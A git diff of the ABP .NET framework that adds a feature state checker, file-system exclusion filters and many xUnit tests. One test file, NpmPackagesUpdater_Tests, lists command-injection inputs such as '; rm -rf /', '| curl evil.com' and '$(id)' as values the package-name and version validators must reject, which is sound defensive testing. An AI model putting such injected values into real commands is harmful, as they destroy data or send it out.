public override void ConfigureServices(ServiceConfigurationContext context)
diff --git a/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/MenuManager.cs b/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/MenuManager.cs
index f1d8ae22d7..49cbfaae03 100644
--- a/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/MenuManager.cs
+++ b/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/MenuManager.cs
@@ -6,6 +6,7 @@ using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Options;
using Volo.Abp.Authorization.Permissions;
using Volo.Abp.DependencyInjection;
+using Volo.Abp.Features;
using Volo.Abp.SimpleStateChecking;
namespace Volo.Abp.UI.Navigation;
@@ -82,6 +83,7 @@ public class MenuManager : IMenuManager, ITransientDependency
using (var scope = ServiceScopeFactory.CreateScope())
{
using (RequirePermissionsSimpleBatchStateChecker.Use(new RequirePermissionsSimpleBatchStateChecker()))
+ using (RequireFeaturesSimpleBatchStateChecker.Use(new RequireFeaturesSimpleBatchStateChecker()))
{
var context = new MenuConfigurationContext(menu, scope.ServiceProvider);
diff --git a/framework/src/Volo.Abp.VirtualFileSystem/Volo/Abp/VirtualFileSystem/VirtualFileSetListExtensions.cs b/framework/src/Volo.Abp.VirtualFileSystem/Volo/Abp/VirtualFileSystem/VirtualFileSetListExtensions.cs
index e25721f00f..be8a0cfb88 100644
--- a/framework/src/Volo.Abp.VirtualFileSystem/Volo/Abp/VirtualFileSystem/VirtualFileSetListExtensions.cs
+++ b/framework/src/Volo.Abp.VirtualFileSystem/Volo/Abp/VirtualFileSystem/VirtualFileSetListExtensions.cs
@@ -65,6 +65,14 @@ public static class VirtualFileSetListExtensions
public static void ReplaceEmbeddedByPhysical(
[NotNull] this VirtualFileSetList fileSets,
[NotNull] string physicalPath)
+ {
+ ReplaceEmbeddedByPhysical(fileSets, physicalPath, ExclusionFilters.Sensitive);
+ }
+
+ public static void ReplaceEmbeddedByPhysical(
+ [NotNull] this VirtualFileSetList fileSets,
+ [NotNull] string physicalPath,
+ ExclusionFilters exclusionFilters)
{
Check.NotNull(fileSets, nameof(fileSets));
Check.NotNullOrWhiteSpace(physicalPath, nameof(physicalPath));
@@ -83,7 +91,7 @@ public static class VirtualFileSetListExtensions
thisPath = Path.Combine(thisPath, embeddedVirtualFileSet.BaseFolder!);
}
- fileSets[i] = new PhysicalVirtualFileSetInfo(new PhysicalFileProvider(thisPath), thisPath);
+ fileSets[i] = new PhysicalVirtualFileSetInfo(new PhysicalFileProvider(thisPath, exclusionFilters), thisPath);
}
}
}
diff --git a/framework/test/Volo.Abp.AspNetCore.MultiTenancy.Tests/Volo/Abp/AspNetCore/MultiTenancy/AspNetCoreMultiTenancy_Without_DomainResolver_Tests.cs b/framework/test/Volo.Abp.AspNetCore.MultiTenancy.Tests/Volo/Abp/AspNetCore/MultiTenancy/AspNetCoreMultiTenancy_Without_DomainResolver_Tests.cs
index 1f53e36260..dd648ad725 100644
--- a/framework/test/Volo.Abp.AspNetCore.MultiTenancy.Tests/Volo/Abp/AspNetCore/MultiTenancy/AspNetCoreMultiTenancy_Without_DomainResolver_Tests.cs
+++ b/framework/test/Volo.Abp.AspNetCore.MultiTenancy.Tests/Volo/Abp/AspNetCore/MultiTenancy/AspNetCoreMultiTenancy_Without_DomainResolver_Tests.cs
@@ -70,4 +70,36 @@ public class AspNetCoreMultiTenancy_Without_DomainResolver_Tests : AspNetCoreMul
var result = await GetResponseAsObjectAsync>("http://abp.io");
result["TenantId"].ShouldBe(_testTenantId.ToString());
}
+
+ [Fact]
+ public async Task Should_Use_Header_Tenant_Id_When_QueryString_Tenant_Is_Empty()
+ {
+ Client.DefaultRequestHeaders.Add(_options.TenantKey, _testTenantId.ToString());
+
+ var result = await GetResponseAsObjectAsync>($"http://abp.io?{_options.TenantKey}=");
+ result["TenantId"].ShouldBe(_testTenantId.ToString());
+ }
+
+ [Fact]
+ public async Task Should_Fallback_To_Host_When_QueryString_Tenant_Is_Empty_And_No_Other_Resolver()
+ {
+ var result = await GetResponseAsObjectAsync>($"http://abp.io?{_options.TenantKey}=");
+ result["TenantId"].ShouldBe("");
+ }
+
+ [Fact]
+ public async Task Should_Use_Header_Tenant_Id_When_QueryString_Tenant_Is_Whitespace()
+ {
+ Client.DefaultRequestHeaders.Add(_options.TenantKey, _testTenantId.ToString());
+
+ var result = await GetResponseAsObjectAsync>($"http://abp.io?{_options.TenantKey}=%20");
+ result["TenantId"].ShouldBe(_testTenantId.ToString());
+ }
+
+ [Fact]
+ public async Task Should_Fallback_To_Host_When_QueryString_Tenant_Is_Whitespace_And_No_Other_Resolver()
+ {
+ var result = await GetResponseAsObjectAsync>($"http://abp.io?{_options.TenantKey}=%20");
+ result["TenantId"].ShouldBe("");
+ }
}
diff --git a/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/PermissionChecker_BulkWithStateChecker_Tests.cs b/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/PermissionChecker_BulkWithStateChecker_Tests.cs
new file mode 100644
index 0000000000..577f209bd3
--- /dev/null
+++ b/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/PermissionChecker_BulkWithStateChecker_Tests.cs
@@ -0,0 +1,51 @@
+using System;
+using System.Threading.Tasks;
+using Shouldly;
+using Volo.Abp.Authorization.Permissions;
+using Xunit;
+
+namespace Volo.Abp.Authorization;
+
+public class PermissionChecker_BulkWithStateChecker_Tests : AuthorizationTestBase
+{
+ private readonly IPermissionChecker _permissionChecker;
+
+ public PermissionChecker_BulkWithStateChecker_Tests()
+ {
+ _permissionChecker = GetRequiredService();
+ }
+
+ [Fact]
+ public async Task IsGrantedAsync_With_Empty_Names_Should_Return_Empty_Result()
+ {
+ var result = await _permissionChecker.IsGrantedAsync(Array.Empty());
+ result.Result.ShouldBeEmpty();
+ }
+
+ [Fact]
+ public async Task IsGrantedAsync_StateChecker_Permission_Is_Undefined_When_StateChecker_Fails()
+ {
+ // MyPermission1 has TestRequireEditionPermissionSimpleStateChecker.
+ // Current user (Douglas) has no EditionId claim → StateChecker returns false.
+ // The permission must stay Undefined (never reaches the value-provider pipeline).
+ var result = await _permissionChecker.IsGrantedAsync(new[] { "MyPermission1", "MyPermission3" });
+
+ result.Result["MyPermission1"].ShouldBe(PermissionGrantResult.Undefined);
+ result.Result["MyPermission3"].ShouldBe(PermissionGrantResult.Granted);
+ }
+
+ [Fact]
+ public async Task IsGrantedAsync_Mix_Of_Defined_And_Undefined_Permissions()
+ {
+ var result = await _permissionChecker.IsGrantedAsync(new[]
+ {
+ "MyPermission3",
+ "NonExistentPermission",
+ "MyPermission5"
+ });
+
+ result.Result["MyPermission3"].ShouldBe(PermissionGrantResult.Granted);
+ result.Result["NonExistentPermission"].ShouldBe(PermissionGrantResult.Prohibited);
+ result.Result["MyPermission5"].ShouldBe(PermissionGrantResult.Granted);
+ }
+}
diff --git a/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/ResourcePermissionChecker_BulkWithStateChecker_Tests.cs b/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/ResourcePermissionChecker_BulkWithStateChecker_Tests.cs
new file mode 100644
index 0000000000..80533e0890
--- /dev/null
+++ b/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/ResourcePermissionChecker_BulkWithStateChecker_Tests.cs
@@ -0,0 +1,57 @@
+using System;
+using System.Threading.Tasks;
+using Shouldly;
+using Volo.Abp.Authorization.Permissions;
+using Volo.Abp.Authorization.Permissions.Resources;
+using Volo.Abp.Authorization.TestServices.Resources;
+using Xunit;
+
+namespace Volo.Abp.Authorization;
+
+public class ResourcePermissionChecker_BulkWithStateChecker_Tests : AuthorizationTestBase
+{
+ private readonly IResourcePermissionChecker _resourcePermissionChecker;
+
+ public ResourcePermissionChecker_BulkWithStateChecker_Tests()
+ {
+ _resourcePermissionChecker = GetRequiredService();
+ }
+
+ [Fact]
+ public async Task IsGrantedAsync_With_Empty_Names_Should_Return_Empty_Result()
+ {
+ var result = await _resourcePermissionChecker.IsGrantedAsync(
+ Array.Empty(), TestEntityResource.ResourceName, TestEntityResource.ResourceKey5);
+
+ result.Result.ShouldBeEmpty();
+ }
+
+ [Fact]
+ public async Task IsGrantedAsync_StateChecker_Permission_Is_Undefined_When_StateChecker_Fails()
+ {
+ // MyResourcePermission1 has TestRequireEditionPermissionSimpleStateChecker.
+ // Current user (Douglas) has no EditionId claim → StateChecker returns false.
+ // The permission must stay Undefined (never reaches the value-provider pipeline).
+ var result = await _resourcePermissionChecker.IsGrantedAsync(
+ new[] { "MyResourcePermission1", "MyResourcePermission3" },
+ TestEntityResource.ResourceName,
+ TestEntityResource.ResourceKey3);
+
+ result.Result["MyResourcePermission1"].ShouldBe(PermissionGrantResult.Undefined);
+ result.Result["MyResourcePermission3"].ShouldBe(PermissionGrantResult.Granted);
+ }
+
+ [Fact]
+ public async Task IsGrantedAsync_Mix_Of_Defined_And_Undefined_Permissions()
+ {
+ var result = await _resourcePermissionChecker.IsGrantedAsync(
+ new[] { "MyResourcePermission3", "NonExistentPermission", "MyResourcePermission5" },
+ TestEntityResource.ResourceName,
+ TestEntityResource.ResourceKey5);
+
+ result.Result["MyResourcePermission3"].ShouldBe(PermissionGrantResult.Granted);
+ result.Result["NonExistentPermission"].ShouldBe(PermissionGrantResult.Prohibited);
+ result.Result["MyResourcePermission5"].ShouldBe(PermissionGrantResult.Granted);
+ }
+
+}
diff --git a/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/StaticPermissionDefinitionStore_Tests.cs b/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/StaticPermissionDefinitionStore_Tests.cs
index 0afaa34f10..19ab829ba1 100644
--- a/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/StaticPermissionDefinitionStore_Tests.cs
+++ b/framework/test/Volo.Abp.Authorization.Tests/Volo/Abp/Authorization/StaticPermissionDefinitionStore_Tests.cs
@@ -70,4 +70,18 @@ public class StaticPermissionDefinitionStore_Tests : AuthorizationTestBase
permissions.ShouldContain(x => x.Name == "MyResourcePermission6");
permissions.ShouldContain(x => x.Name == "MyResourcePermission7");
}
+
+ [Fact]
+ public async Task GetResourcePermissionsAsync_Same_Name_In_Different_Resources_Should_Both_Be_Returned()
+ {
+ // MyResourcePermission7 is defined for both TestEntityResource and TestEntityResource2.
+ // GetResourcePermissionsAsync must return both entries because resource permissions are
+ // unique by (ResourceName, Name), not by Name alone.
+ var permissions = await _store.GetResourcePermissionsAsync();
+
+ permissions.ShouldContain(x =>
+ x.Name == "MyResourcePermission7" && x.ResourceName == TestEntityResource.ResourceName);
+ permissions.ShouldContain(x =>
+ x.Name == "MyResourcePermission7" && x.ResourceName == TestEntityResource2.ResourceName);
+ }
}
diff --git a/framework/test/Volo.Abp.Autofac.Tests/Volo/Abp/Autofac/WarnForOrphanedAbpModules_Tests.cs b/framework/test/Volo.Abp.Autofac.Tests/Volo/Abp/Autofac/WarnForOrphanedAbpModules_Tests.cs
new file mode 100644
index 0000000000..efd1a193e6
--- /dev/null
+++ b/framework/test/Volo.Abp.Autofac.Tests/Volo/Abp/Autofac/WarnForOrphanedAbpModules_Tests.cs
@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Shouldly;
+using Volo.Abp.Logging;
+using Volo.Abp.Modularity;
+using Volo.Abp.Testing;
+using Xunit;
+
+namespace Volo.Abp.Autofac;
+
+public class WarnForOrphanedAbpModules_Tests : AbpIntegratedTest
+{
+ private static readonly Type OrphanModuleType = typeof(AbpTestModule);
+ private List _initLogEntries = [];
+
+ protected override void SetAbpApplicationCreationOptions(AbpApplicationCreationOptions options)
+ {
+ options.UseAutofac();
+ }
+
+ protected override IServiceProvider CreateServiceProvider(IServiceCollection services)
+ {
+ var serviceProvider = base.CreateServiceProvider(services);
+
+ // Capture init log entries after Autofac Populate/Register but before WriteInitLogs clears them.
+ _initLogEntries = serviceProvider.GetRequiredService().GetAllEntries();
+
+ return serviceProvider;
+ }
+
+ [Fact]
+ public void Should_Warn_For_Orphaned_Abp_Modules()
+ {
+ _initLogEntries
+ .Where(e => e.LogLevel == LogLevel.Warning)
+ .ShouldContain(e => e.Message.Contains(OrphanModuleType.FullName!),
+ $"Expected a warning for orphaned module '{OrphanModuleType.FullName}'.");
+ }
+
+ [Fact]
+ public void Should_Not_Warn_For_Loaded_Modules()
+ {
+ _initLogEntries
+ .Where(e => e.LogLevel == LogLevel.Warning)
+ .ShouldNotContain(e => e.Message.Contains(typeof(AbpAutofacModule).FullName!),
+ "Modules in the [DependsOn] chain should not be reported as orphaned.");
+ }
+
+ [DependsOn(typeof(AbpAutofacModule))]
+ public class TestModule : AbpModule
+ {
+ public override void ConfigureServices(ServiceConfigurationContext context)
+ {
+ // Simulate ASP.NET Core's AddControllersAsServices() registering a type
+ // from an assembly whose ABP module is NOT in the [DependsOn] chain.
+ context.Services.AddTransient();
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs b/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs
new file mode 100644
index 0000000000..3d5edd6d89
--- /dev/null
+++ b/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs
@@ -0,0 +1,64 @@
+using Shouldly;
+using Volo.Abp.Cli.ProjectModification;
+using Volo.Abp.Cli.Utils;
+using Xunit;
+
+namespace Volo.Abp.Cli;
+
+public class NpmPackagesUpdater_Tests
+{
+ [Theory]
+ [InlineData("@abp/ng.core", true)]
+ [InlineData("@abp/ng.theme.shared", true)]
+ [InlineData("@abp/ng.components", true)]
+ [InlineData("@volo/abp.ng.lepton-x.core", true)]
+ [InlineData("@volo/abp.commercial.ng.ui", true)]
+ [InlineData("@volosoft/abp.ng.theme.lepton", true)]
+ [InlineData("@abp/core && calc.exe", false)]
+ [InlineData("@abp/core; rm -rf /", false)]
+ [InlineData("@abp/core | curl evil.com", false)]
+ [InlineData("@abp/core`whoami`", false)]
+ [InlineData("@abp/core$(id)", false)]
+ [InlineData("@abp/core\nnewline", false)]
+ [InlineData("@abp/ space", false)]
+ [InlineData("@abp/", false)]
+ [InlineData("@abp/ng core", false)]
+ [InlineData(null, false)]
+ [InlineData("", false)]
+ public void IsValidNpmPackageName(string packageName, bool expected)
+ {
+ NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected);
+ }
+
+ [Theory]
+ [InlineData("1.0.0", false)]
+ [InlineData("^8.0.0", false)]
+ [InlineData("~8.0.0", false)]
+ [InlineData("8.0.0-preview.1", false)]
+ [InlineData("8.0.0-preview20260401", false)]
+ [InlineData("8.0.0+build.123", false)]
+ [InlineData("latest", false)]
+ [InlineData("next", false)]
+ [InlineData(null, false)]
+ [InlineData("", false)]
+ [InlineData("1.0.0 && calc.exe", true)]
+ [InlineData("1.0.0; rm -rf /", true)]
+ [InlineData("1.0.0 | curl evil.com", true)]
+ [InlineData("1.0.0`whoami`", true)]
+ [InlineData("1.0.0$(id)", true)]
+ [InlineData("1.0.0\nnewline", true)]
+ [InlineData(">1.0.0", true)]
+ [InlineData("<2.0.0", true)]
+ [InlineData("1.0.0|2.0.0", true)]
+ public void EnsureSafeVersion(string version, bool shouldThrow)
+ {
+ if (shouldThrow)
+ {
+ Should.Throw(() => NpmHelper.EnsureSafeVersion(version));
+ }
+ else
+ {
+ Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version));
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Core.Tests/Microsoft/Extensions/Logging/AbpLoggerExtensions_Tests.cs b/framework/test/Volo.Abp.Core.Tests/Microsoft/Extensions/Logging/AbpLoggerExtensions_Tests.cs
new file mode 100644
index 0000000000..dbaabd3a63
--- /dev/null
+++ b/framework/test/Volo.Abp.Core.Tests/Microsoft/Extensions/Logging/AbpLoggerExtensions_Tests.cs
@@ -0,0 +1,200 @@
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using Shouldly;
+using Xunit;
+
+namespace Microsoft.Extensions.Logging;
+
+public class AbpLoggerExtensions_Tests
+{
+ [Fact]
+ public void LogException_Should_Format_String_Data()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["Name"] = "John";
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain("Name = John");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_Primitive_Data()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["Count"] = 42;
+ exception.Data["IsActive"] = true;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain("Count = 42");
+ logger.LastLoggedMessage.ShouldContain("IsActive = True");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_Complex_Object_As_Json()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["Details"] = new Dictionary
+ {
+ { "RuleName", "FixedWindow" },
+ { "Limit", 10 }
+ };
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain("\"RuleName\":\"FixedWindow\"");
+ logger.LastLoggedMessage.ShouldContain("\"Limit\":10");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_List_Of_Complex_Objects_As_Json()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["RuleDetails"] = new List>
+ {
+ new() { { "RuleName", "FixedWindow" }, { "Limit", 10 } },
+ new() { { "RuleName", "SlidingWindow" }, { "Limit", 20 } }
+ };
+
+ logger.LogException(exception);
+
+ var message = logger.LastLoggedMessage;
+ message.ShouldNotContain("System.Collections.Generic.List");
+ message.ShouldContain("FixedWindow");
+ message.ShouldContain("SlidingWindow");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_Null_Data_As_Empty()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["NullKey"] = null;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain("NullKey = ");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_Enum_Data()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["Level"] = LogLevel.Warning;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain("Level = Warning");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_DateTime_Data()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ var now = new DateTime(2025, 1, 15, 10, 30, 0);
+ exception.Data["Timestamp"] = now;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain($"Timestamp = {now.ToString(CultureInfo.CurrentCulture)}");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_Guid_Data()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ var id = Guid.NewGuid();
+ exception.Data["Id"] = id;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldContain($"Id = {id}");
+ }
+
+ [Fact]
+ public void LogException_Should_Format_Anonymous_Object_As_Json()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ exception.Data["Info"] = new { Name = "Test", Value = 123 };
+
+ logger.LogException(exception);
+
+ var message = logger.LastLoggedMessage;
+ message.ShouldContain("\"Name\":\"Test\"");
+ message.ShouldContain("\"Value\":123");
+ }
+
+ [Fact]
+ public void LogException_Should_Fallback_To_ToString_For_Non_Serializable_Object()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ var selfRef = new SelfReferencingObject { Name = "Loop" };
+ selfRef.Self = selfRef;
+ exception.Data["BadObject"] = selfRef;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldNotBeNull();
+ logger.LastLoggedMessage.ShouldContain("BadObject = SelfRef:Loop");
+ logger.LastLoggedMessage.ShouldNotContain("\"Name\"");
+ }
+
+ [Fact]
+ public void LogException_Should_Truncate_Large_Json_Output()
+ {
+ var logger = new FakeLogger();
+ var exception = new Exception("test");
+ var largeList = new List>();
+ for (var i = 0; i < 500; i++)
+ {
+ largeList.Add(new Dictionary
+ {
+ { "Key", new string('x', 100) }
+ });
+ }
+ exception.Data["LargeData"] = largeList;
+
+ logger.LogException(exception);
+
+ logger.LastLoggedMessage.ShouldNotBeNull();
+ logger.LastLoggedMessage.ShouldContain("...(truncated)");
+ }
+
+ private class SelfReferencingObject
+ {
+ public string Name { get; set; } = default!;
+ public override string ToString() => $"SelfRef:{Name}";
+ public SelfReferencingObject? Self { get; set; }
+ }
+
+ private class FakeLogger : ILogger
+ {
+ public string? LastLoggedMessage { get; private set; }
+
+ public void Log(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func formatter)
+ {
+ LastLoggedMessage = formatter(state, exception);
+ }
+
+ public bool IsEnabled(LogLevel logLevel) => true;
+
+ public IDisposable BeginScope(TState state) where TState : notnull => NullDisposable.Instance;
+
+ private class NullDisposable : IDisposable
+ {
+ public static readonly NullDisposable Instance = new();
+ public void Dispose() { }
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_BatchSingleScope_Tests.cs b/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_BatchSingleScope_Tests.cs
new file mode 100644
index 0000000000..1edf00230d
--- /dev/null
+++ b/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_BatchSingleScope_Tests.cs
@@ -0,0 +1,111 @@
+using System;
+using System.Globalization;
+using System.Threading.Tasks;
+using Shouldly;
+using Xunit;
+
+namespace Volo.Abp.SimpleStateChecking;
+
+///
+/// Tests that batch IsEnabledAsync evaluates non-batch state checkers correctly
+/// when reusing a single DI scope (instead of creating N scopes via InternalIsEnabledAsync).
+///
+public class SimpleStateChecker_BatchSingleScope_Tests : SimpleStateCheckerTestBase
+{
+ [Fact]
+ public async Task Batch_Should_Evaluate_NonBatch_Checkers_Correctly()
+ {
+ var enabled = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ enabled.AddSimpleStateChecker(new MySimpleStateChecker());
+
+ var disabled = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2001-01-01", CultureInfo.InvariantCulture)
+ };
+ disabled.AddSimpleStateChecker(new MySimpleStateChecker());
+
+ var result = await SimpleStateCheckerManager.IsEnabledAsync(new[] { enabled, disabled });
+
+ result[enabled].ShouldBeTrue();
+ result[disabled].ShouldBeFalse();
+ enabled.CheckCount.ShouldBe(1);
+ disabled.CheckCount.ShouldBe(1);
+ }
+
+ [Fact]
+ public async Task Batch_Should_Skip_NonBatch_Check_When_BatchChecker_Already_Disabled()
+ {
+ // Entity disabled by batch checker should not have non-batch checker invoked
+ var entity = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2001-01-01", CultureInfo.InvariantCulture) // fails batch checker
+ };
+ entity.AddSimpleStateChecker(new MySimpleBatchStateChecker());
+ entity.AddSimpleStateChecker(new MySimpleStateChecker());
+
+ var result = await SimpleStateCheckerManager.IsEnabledAsync(new[] { entity });
+
+ result[entity].ShouldBeFalse();
+ entity.MultipleCheckCount.ShouldBe(1); // batch checker was called
+ entity.CheckCount.ShouldBe(0); // non-batch checker was NOT called (skipped because batch disabled it)
+ }
+
+ [Fact]
+ public async Task Batch_Should_Handle_Mix_Of_Entities_With_And_Without_Checkers()
+ {
+ var noChecker = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+
+ var withChecker = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ withChecker.AddSimpleStateChecker(new MySimpleStateChecker());
+
+ var failingChecker = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2001-01-01", CultureInfo.InvariantCulture)
+ };
+ failingChecker.AddSimpleStateChecker(new MySimpleStateChecker());
+
+ var result = await SimpleStateCheckerManager.IsEnabledAsync(
+ new[] { noChecker, withChecker, failingChecker });
+
+ result[noChecker].ShouldBeTrue();
+ result[withChecker].ShouldBeTrue();
+ result[failingChecker].ShouldBeFalse();
+
+ noChecker.CheckCount.ShouldBe(0);
+ withChecker.CheckCount.ShouldBe(1);
+ failingChecker.CheckCount.ShouldBe(1);
+ }
+
+ [Fact]
+ public async Task Batch_Should_Handle_Large_Number_Of_Entities()
+ {
+ var entities = new MyStateEntity[1000];
+ for (int i = 0; i < 1000; i++)
+ {
+ entities[i] = new MyStateEntity
+ {
+ CreationTime = i % 2 == 0
+ ? DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ : DateTime.Parse("2001-01-01", CultureInfo.InvariantCulture)
+ };
+ entities[i].AddSimpleStateChecker(new MySimpleStateChecker());
+ }
+
+ var result = await SimpleStateCheckerManager.IsEnabledAsync(entities);
+
+ for (int i = 0; i < 1000; i++)
+ {
+ result[entities[i]].ShouldBe(i % 2 == 0);
+ entities[i].CheckCount.ShouldBe(1);
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_NoCheckers_Test.cs b/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_NoCheckers_Test.cs
new file mode 100644
index 0000000000..95fdadd4d7
--- /dev/null
+++ b/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_NoCheckers_Test.cs
@@ -0,0 +1,66 @@
+using System.Globalization;
+using System;
+using System.Threading.Tasks;
+using Shouldly;
+using Xunit;
+
+namespace Volo.Abp.SimpleStateChecking;
+
+public class SimpleStateChecker_NoCheckers_Test : SimpleStateCheckerTestBase
+{
+ // No GlobalStateCheckers registered — verifies the fast path when both
+ // state.StateCheckers and Options.GlobalStateCheckers are empty.
+
+ [Fact]
+ public async Task Entity_With_No_State_Checkers_Should_Be_Enabled()
+ {
+ var entity = new MyStateEntity();
+
+ (await SimpleStateCheckerManager.IsEnabledAsync(entity)).ShouldBeTrue();
+ }
+
+ [Fact]
+ public async Task Entity_With_No_State_Checkers_Should_Not_Increment_Check_Counts()
+ {
+ var entity = new MyStateEntity();
+
+ await SimpleStateCheckerManager.IsEnabledAsync(entity);
+
+ entity.CheckCount.ShouldBe(0);
+ entity.GlobalCheckCount.ShouldBe(0);
+ entity.MultipleCheckCount.ShouldBe(0);
+ entity.MultipleGlobalCheckCount.ShouldBe(0);
+ }
+
+ [Fact]
+ public async Task Multiple_Entities_With_No_State_Checkers_Should_All_Be_Enabled()
+ {
+ var entities = new[]
+ {
+ new MyStateEntity { CreationTime = DateTime.Parse("2022-01-01", CultureInfo.InvariantCulture) },
+ new MyStateEntity { CreationTime = DateTime.Parse("2019-01-01", CultureInfo.InvariantCulture) }
+ };
+
+ var result = await SimpleStateCheckerManager.IsEnabledAsync(entities);
+
+ result.Values.ShouldAllBe(v => v);
+ }
+
+ [Fact]
+ public async Task Entity_With_Individual_Checker_Should_Still_Be_Checked()
+ {
+ var entity = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ entity.AddSimpleStateChecker(new MySimpleStateChecker());
+
+ (await SimpleStateCheckerManager.IsEnabledAsync(entity)).ShouldBeTrue();
+ entity.CheckCount.ShouldBe(1);
+
+ entity.CreationTime = DateTime.Parse("2001-01-01", CultureInfo.InvariantCulture);
+
+ (await SimpleStateCheckerManager.IsEnabledAsync(entity)).ShouldBeFalse();
+ entity.CheckCount.ShouldBe(2);
+ }
+}
diff --git a/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_ScopeIsolation_Tests.cs b/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_ScopeIsolation_Tests.cs
new file mode 100644
index 0000000000..0606dec6e8
--- /dev/null
+++ b/framework/test/Volo.Abp.Core.Tests/Volo/Abp/SimpleStateChecking/SimpleStateChecker_ScopeIsolation_Tests.cs
@@ -0,0 +1,179 @@
+using System;
+using System.Collections.Concurrent;
+using System.Globalization;
+using System.Threading.Tasks;
+using Microsoft.Extensions.DependencyInjection;
+using Shouldly;
+using Xunit;
+
+namespace Volo.Abp.SimpleStateChecking;
+
+///
+/// Probe-based tests that verify:
+/// 1. Batch path shares a single DI scope but isolates CachedServiceProvider per state.
+/// 2. Single-state path uses separate scopes (original behavior).
+/// 3. Nested single-state calls from within batch checkers get their own scope.
+///
+public class SimpleStateChecker_ScopeIsolation_Tests : SimpleStateCheckerTestBase
+{
+ protected override void AfterAddApplication(IServiceCollection services)
+ {
+ services.AddScoped();
+ services.AddTransient();
+ base.AfterAddApplication(services);
+ }
+
+ [Fact]
+ public async Task Batch_Should_Share_Scope_But_Isolate_CachedProvider_Across_States()
+ {
+ var observations = new ConcurrentDictionary();
+ var checker = new ScopeProbeStateChecker(observations);
+
+ var stateA = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ stateA.AddSimpleStateChecker(checker);
+
+ var stateB = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ stateB.AddSimpleStateChecker(checker);
+
+ var stateC = new MyStateEntity
